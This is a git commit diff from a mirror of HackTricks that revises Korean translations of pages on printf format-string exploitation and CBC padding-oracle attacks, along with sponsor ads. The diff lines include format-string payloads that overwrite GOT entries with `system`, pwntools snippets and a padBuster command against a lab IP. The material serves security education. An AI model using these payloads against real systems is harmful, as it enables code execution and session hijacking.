mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['README.md', 'binary-exploitation/format-strings/README.md',
This commit is contained in:
parent
3493c8b293
commit
77119a19de
43 changed files with 1207 additions and 799 deletions
34
README.md
34
README.md
|
@ -70,21 +70,23 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
|
|||
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하세요!
|
||||
|
||||
* **해킹 통찰력:** 해킹의 스릴과 도전에 대한 내용을 다루는 콘텐츠에 참여하세요.
|
||||
* **실시간 해킹 뉴스:** 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.
|
||||
* **최신 공지사항:** 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 받아보세요.
|
||||
* **실시간 해킹 뉴스:** 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.
|
||||
* **최신 발표:** 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
|
||||
|
||||
**지금 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 가입하고 최고의 해커들과 협력하세요!**
|
||||
**오늘 저희와 함께** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 최고의 해커들과 협력하세요!
|
||||
|
||||
***
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - 필수 침투 테스트 도구 키트
|
||||
|
||||
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약성 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 펜테스트를 실행하세요. 우리는 펜테스터를 대체하지 않습니다 - 우리는 그들에게 더 깊이 파고들고, 쉘을 팝하고, 재미를 느낄 수 있는 시간을 주기 위해 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드 보기
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
\
|
||||
|
||||
|
||||
{% endembed %}
|
||||
|
||||
|
@ -94,14 +96,14 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
|
|||
|
||||
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi**는 **검색 엔진 결과에 접근하기 위한 빠르고 쉬운 실시간 API**를 제공합니다. 그들은 검색 엔진을 스크랩하고, 프록시를 처리하고, 캡차를 해결하며, 모든 풍부한 구조화된 데이터를 파싱합니다.
|
||||
**SerpApi**는 **검색 엔진 결과에 접근할 수 있는 빠르고 쉬운 실시간 API**를 제공합니다. 그들은 검색 엔진을 스크랩하고, 프록시를 처리하며, 캡차를 해결하고, 모든 풍부한 구조화된 데이터를 파싱합니다.
|
||||
|
||||
SerpApi의 요금제에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크랩하기 위한 50개 이상의 API에 접근할 수 있습니다.\
|
||||
SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크랩하기 위한 50개 이상의 API에 접근할 수 있습니다.\
|
||||
다른 제공업체와 달리 **SerpApi는 유기적 결과만 스크랩하지 않습니다**. SerpApi 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다.
|
||||
|
||||
현재 SerpApi 고객에는 **Apple, Shopify 및 GrubHub**가 포함됩니다.\
|
||||
자세한 정보는 그들의 [**블로그**](https://serpapi.com/blog/)를 확인하거나 [**플레이그라운드**](https://serpapi.com/playground)에서 예제를 시도해 보세요.\
|
||||
[**여기**](https://serpapi.com/users/sign\_up)에서 **무료 계정을 생성**할 수 있습니다.**
|
||||
여기에서 **무료 계정**을 [**생성할 수 있습니다**](https://serpapi.com/users/sign\_up)**.**
|
||||
|
||||
***
|
||||
|
||||
|
@ -109,11 +111,11 @@ SerpApi의 요금제에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의** 기업을 최신 사이버 보안 위협으로부터 **보호**하는 데 도움을 주며 **공격 보안 서비스**를 **현대적인** 접근 방식으로 제공합니다.
|
||||
[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의 기업을 최신 사이버 보안 위협으로부터 보호**하는 데 도움을 주며 **공격적 보안 서비스**를 **현대적인** 접근 방식으로 제공합니다.
|
||||
|
||||
WebSec는 **올인원 보안 회사**로, 펜테스팅, **보안** 감사, 인식 교육, 피싱 캠페인, 코드 리뷰, 악용 개발, 보안 전문가 아웃소싱 등 모든 것을 수행합니다.
|
||||
WebSec는 **올인원 보안 회사**로, 펜테스팅, **보안** 감사, 인식 교육, 피싱 캠페인, 코드 리뷰, 익스플로잇 개발, 보안 전문가 아웃소싱 등 모든 것을 수행합니다.
|
||||
|
||||
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것입니다.** 그들은 **최고 품질의 결과를 보장**한다고 웹사이트에 명시하고 있습니다. "**우리가 해킹할 수 없다면, 당신은 비용을 지불하지 않습니다!**" 더 많은 정보는 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요!
|
||||
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것**입니다. 그들은 **최고 품질의 결과를 보장**하며, 웹사이트에 "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**"라고 명시되어 있습니다. 더 많은 정보는 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요!
|
||||
|
||||
위의 내용 외에도 WebSec는 **HackTricks의 헌신적인 후원자**이기도 합니다.
|
||||
|
||||
|
@ -121,7 +123,7 @@ WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의
|
|||
|
||||
## License & Disclaimer
|
||||
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
그들을 확인하세요:
|
||||
|
||||
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
||||
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
||||
|
@ -132,8 +134,8 @@ WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의
|
|||
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 연습하기:<img src=".gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 연습하기: <img src=".gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src=".gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src=".gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src=".gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src=".gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -141,7 +143,7 @@ GCP 해킹 배우고 연습하기: <img src=".gitbook/assets/grte.png" alt="" da
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks**([**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,13 +15,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 구사 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
||||
## Basic Information
|
||||
|
||||
C에서 **`printf`**는 문자열을 **출력**하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **형식 지정자가 포함된 원시 텍스트**입니다. 이 원시 텍스트의 **형식 지정자**를 **대체**할 **값**은 **다음 매개변수**로 기대됩니다.
|
||||
C에서 **`printf`**는 문자열을 **출력**하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **형식 지정자가 포함된 원시 텍스트**입니다. **다음 매개변수**는 원시 텍스트의 **형식 지정자**를 **대체**할 **값**입니다.
|
||||
|
||||
다른 취약한 함수로는 **`sprintf()`**와 **`fprintf()`**가 있습니다.
|
||||
|
||||
취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때** 나타납니다. 공격자는 **printf 형식** 문자열 기능을 악용하여 **특별한 입력을 조작**하여 **읽을 수 있는/쓸 수 있는** 모든 주소에서 **데이터를 읽고 쓸 수** 있습니다. 이렇게 해서 **임의의 코드를 실행**할 수 있습니다.
|
||||
취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때** 발생합니다. 공격자는 **printf 형식** 문자열 기능을 악용하여 **읽기 및 쓰기 가능한** **모든 주소의 데이터를 읽고 쓸 수 있는** **특별한 입력을 만들 수 있습니다**. 이렇게 하여 **임의 코드를 실행할 수 있습니다**.
|
||||
|
||||
#### Formatters:
|
||||
```bash
|
||||
|
@ -36,7 +43,7 @@ C에서 **`printf`**는 문자열을 **출력**하는 데 사용할 수 있는
|
|||
```
|
||||
**예시:**
|
||||
|
||||
* 취약한 예시:
|
||||
* 취약한 예:
|
||||
```c
|
||||
char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
|
@ -100,7 +107,7 @@ p.sendline(payload)
|
|||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
입력의 시작 부분에 0x8048000 주소를 넣을 수 없다는 점에 유의하세요. 문자열은 해당 주소의 끝에서 0x00으로 잘리기 때문입니다.
|
||||
입력의 시작 부분에 주소 0x8048000을 넣을 수 없다는 점에 유의하세요. 문자열은 해당 주소의 끝에서 0x00으로 잘리기 때문입니다.
|
||||
{% endhint %}
|
||||
|
||||
### 오프셋 찾기
|
||||
|
@ -142,16 +149,16 @@ p.close()
|
|||
|
||||
### 유용성
|
||||
|
||||
임의 읽기는 다음에 유용할 수 있습니다:
|
||||
임의 읽기는 다음과 같은 용도로 유용할 수 있습니다:
|
||||
|
||||
* **메모리에서** **바이너리**를 **덤프**하기
|
||||
* **민감한** **정보**가 저장된 메모리의 특정 부분에 **접근하기** (예: 이 [**CTF 챌린지**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)처럼)
|
||||
* **민감한** **정보**가 저장된 메모리의 특정 부분에 **접근**하기 (예: [**CTF 챌린지**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)에서와 같이 카나리, 암호화 키 또는 사용자 정의 비밀번호)
|
||||
|
||||
## **임의 쓰기**
|
||||
|
||||
포맷터 **`%<num>$n`**은 **지정된 주소**에 **쓰기 바이트 수**를 **기록**합니다. 공격자가 printf로 원하는 만큼의 문자를 쓸 수 있다면, 그는 **`%<num>$n`**을 사용하여 임의의 주소에 임의의 숫자를 쓸 수 있게 됩니다.
|
||||
포맷터 **`%<num>$n`**은 **지정된 주소**에 **쓰기 바이트 수**를 **기록**합니다. 공격자가 printf를 사용하여 원하는 만큼의 문자를 쓸 수 있다면, 그는 **`%<num>$n`**을 사용하여 임의의 주소에 임의의 숫자를 쓸 수 있게 됩니다.
|
||||
|
||||
다행히도, 숫자 9999를 쓰기 위해 입력에 9999개의 "A"를 추가할 필요는 없으며, 대신 포맷터 **`%.<num-write>%<num>$n`**을 사용하여 **`num` 위치가 가리키는 주소**에 숫자 **`<num-write>`**를 쓸 수 있습니다.
|
||||
다행히도, 숫자 9999를 쓰기 위해 입력에 9999개의 "A"를 추가할 필요는 없으며, 대신 포맷터 **`%.<num-write>%<num>$n`**을 사용하여 **`<num-write>`** 숫자를 **`num` 위치가 가리키는 주소**에 쓸 수 있습니다.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
|
@ -160,19 +167,19 @@ AAAA.%500\$08x —> Param at offset 500
|
|||
|
||||
따라서 이 취약점은 **임의의 주소에 무엇이든 쓸 수 있게** 합니다.
|
||||
|
||||
이 예제에서 목표는 **나중에 호출될** **GOT** 테이블의 **함수**의 **주소**를 **덮어쓰는** 것입니다. 이는 다른 임의 쓰기를 악용하여 exec 기술을 사용할 수 있습니다:
|
||||
이 예제에서 목표는 **GOT** 테이블의 **함수**의 **주소**를 **덮어쓰는 것**입니다. 이 함수는 나중에 호출될 것입니다. 이는 다른 임의 쓰기를 악용하여 exec 기술을 사용할 수 있습니다:
|
||||
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
우리는 **사용자**로부터 **인수**를 **받는** **함수**를 **덮어쓰고**, 이를 **`system`** **함수**를 가리키도록 할 것입니다.\
|
||||
언급했듯이 주소를 쓰기 위해 일반적으로 2단계가 필요합니다: 먼저 주소의 2바이트를 쓰고, 그 다음에 나머지 2바이트를 씁니다. 이를 위해 **`$hn`**이 사용됩니다.
|
||||
언급했듯이 주소를 쓰기 위해서는 일반적으로 2단계가 필요합니다: 먼저 주소의 2바이트를 쓰고, 그 다음에 나머지 2바이트를 씁니다. 이를 위해 **`$hn`**이 사용됩니다.
|
||||
|
||||
* **HOB**는 주소의 2개의 높은 바이트를 호출합니다.
|
||||
* **LOB**는 주소의 2개의 낮은 바이트를 호출합니다.
|
||||
|
||||
그런 다음, 포맷 문자열의 작동 방식 때문에 **먼저 가장 작은** \[HOB, LOB]를 쓰고 그 다음에 다른 것을 써야 합니다.
|
||||
그런 다음, 포맷 문자열이 작동하는 방식 때문에 **먼저 가장 작은** \[HOB, LOB]를 쓰고 그 다음에 다른 하나를 써야 합니다.
|
||||
|
||||
HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
@ -190,7 +197,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
|||
|
||||
### Pwntools 템플릿
|
||||
|
||||
이러한 종류의 취약점을 위한 익스플로잇을 준비할 수 있는 **템플릿**은 다음에서 찾을 수 있습니다:
|
||||
이러한 종류의 취약점을 위한 익스플로잇을 준비할 **템플릿**을 다음에서 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="format-strings-template.md" %}
|
||||
[format-strings-template.md](format-strings-template.md)
|
||||
|
@ -229,19 +236,23 @@ p.interactive()
|
|||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32 비트, relro, no canary, nx, no pie, win 함수로 `fflush` 주소를 덮어쓰는 형식 문자열 (ret2win)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||
* 32비트, relro, no canary, nx, no pie, `.fini_array` 내의 main에 있는 주소를 쓰기 위한 형식 문자열 (흐름이 한 번 더 루프됨) 및 `strlen`을 가리키는 GOT 테이블의 `system` 주소를 쓰기. 흐름이 main으로 돌아가면, `strlen`이 사용자 입력과 함께 실행되고 `system`을 가리키면, 전달된 명령이 실행됩니다.
|
||||
* 32 비트, relro, no canary, nx, no pie, `.fini_array` 내의 main에 있는 주소를 쓰기 위한 형식 문자열 (흐름이 한 번 더 루프됨) 및 `strlen`을 가리키는 GOT 테이블의 `system` 주소를 쓰기. 흐름이 main으로 돌아가면, 사용자 입력으로 `strlen`이 실행되고 `system`을 가리키면, 전달된 명령이 실행됩니다.
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,6 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## CBC - Cipher Block Chaining
|
||||
|
||||
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
|
||||
|
@ -71,13 +75,13 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
|||
```
|
||||
### 이론
|
||||
|
||||
**요약**하자면, 모든 **다양한 패딩**을 생성하는 데 사용할 수 있는 올바른 값을 추측하여 암호화된 데이터를 복호화하기 시작할 수 있습니다. 그런 다음 패딩 오라클 공격은 올바른 값이 **1, 2, 3 등의 패딩을 생성하는지** 추측하면서 끝에서 시작으로 바이트를 복호화하기 시작합니다.
|
||||
**요약**하자면, 모든 **다양한 패딩**을 생성하는 데 사용할 수 있는 올바른 값을 추측하여 암호화된 데이터를 복호화하기 시작할 수 있습니다. 그런 다음 패딩 오라클 공격은 1, 2, 3 등의 패딩을 생성하는 올바른 값이 무엇인지 추측하면서 끝에서 시작으로 바이트를 복호화하기 시작합니다.
|
||||
|
||||
![](<../.gitbook/assets/image (561).png>)
|
||||
|
||||
암호화된 텍스트가 **E0에서 E15**까지의 바이트로 형성된 **2 블록**을 차지한다고 가정해 보겠습니다.\
|
||||
**마지막** **블록**(**E8**에서 **E15**)을 **복호화**하기 위해 전체 블록은 "블록 암호 복호화"를 거쳐 **중간 바이트 I0에서 I15**를 생성합니다.\
|
||||
마지막으로 각 중간 바이트는 이전 암호화된 바이트(E0에서 E7)와 **XOR**됩니다. 따라서:
|
||||
마지막으로 각 중간 바이트는 이전의 암호화된 바이트(E0에서 E7)와 **XOR**됩니다. 따라서:
|
||||
|
||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
* `C14 = I14 ^ E6`
|
||||
|
@ -85,7 +89,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
|||
* `C12 = I12 ^ E4`
|
||||
* ...
|
||||
|
||||
이제 **`C15`가 `0x01`이 될 때까지 `E7`을 수정하는 것이 가능**합니다. 이는 올바른 패딩이기도 합니다. 따라서 이 경우: `\x01 = I15 ^ E'7`
|
||||
이제 **C15가 `0x01`이 될 때까지 `E7`을 수정하는 것이 가능**합니다. 이는 올바른 패딩이기도 합니다. 따라서 이 경우: `\x01 = I15 ^ E'7`
|
||||
|
||||
따라서 E'7을 찾으면 **I15를 계산할 수 있습니다**: `I15 = 0x01 ^ E'7`
|
||||
|
||||
|
@ -93,7 +97,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
|||
|
||||
**C15**를 알면 이제 **C14를 계산할 수 있습니다**, 하지만 이번에는 패딩 `\x02\x02`를 브루트 포스해야 합니다.
|
||||
|
||||
이 BF는 이전 것만큼 복잡하며, 값이 0x02인 `E''15`를 계산할 수 있습니다: `E''7 = \x02 ^ I15` 따라서 **`C14`가 `0x02`가 되도록 생성하는 `E'14`**를 찾기만 하면 됩니다.\
|
||||
이 BF는 이전 것만큼 복잡하며, 값이 0x02인 `E''15`를 계산할 수 있습니다: `E''7 = \x02 ^ I15` 따라서 **`C14`가 `0x02`가 되도록 하는 `E'14`**를 찾기만 하면 됩니다.\
|
||||
그런 다음 C14를 복호화하기 위해 동일한 단계를 수행합니다: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**이 체인을 따라 전체 암호화된 텍스트를 복호화할 때까지 진행하십시오.**
|
||||
|
@ -101,7 +105,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
|||
### 취약점 탐지
|
||||
|
||||
계정을 등록하고 이 계정으로 로그인하십시오.\
|
||||
**여러 번 로그인**하고 항상 **같은 쿠키**를 받는다면, 애플리케이션에 **문제가 있을 가능성**이 높습니다. **로그인할 때마다 반환되는 쿠키는 고유해야** 합니다. 쿠키가 **항상** **같다면**, 아마도 항상 유효할 것이며 이를 **무효화할 방법이 없을 것입니다**.
|
||||
**여러 번 로그인**하고 항상 **같은 쿠키**를 받는다면, 애플리케이션에 **문제가 있을 가능성**이 높습니다. **로그인할 때마다 반환되는 쿠키는 고유해야 합니다**. 쿠키가 **항상** **같다면**, 아마도 항상 유효할 것이며 이를 **무효화할 방법이 없을 것입니다**.
|
||||
|
||||
이제 **쿠키를 수정**하려고 하면 애플리케이션에서 **오류**가 발생하는 것을 볼 수 있습니다.\
|
||||
하지만 패딩을 BF하면(예: padbuster 사용) 다른 사용자에 대해 유효한 또 다른 쿠키를 얻을 수 있습니다. 이 시나리오는 padbuster에 취약할 가능성이 높습니다.
|
||||
|
@ -110,9 +114,13 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
|||
|
||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,81 +1,86 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 실습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 실습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
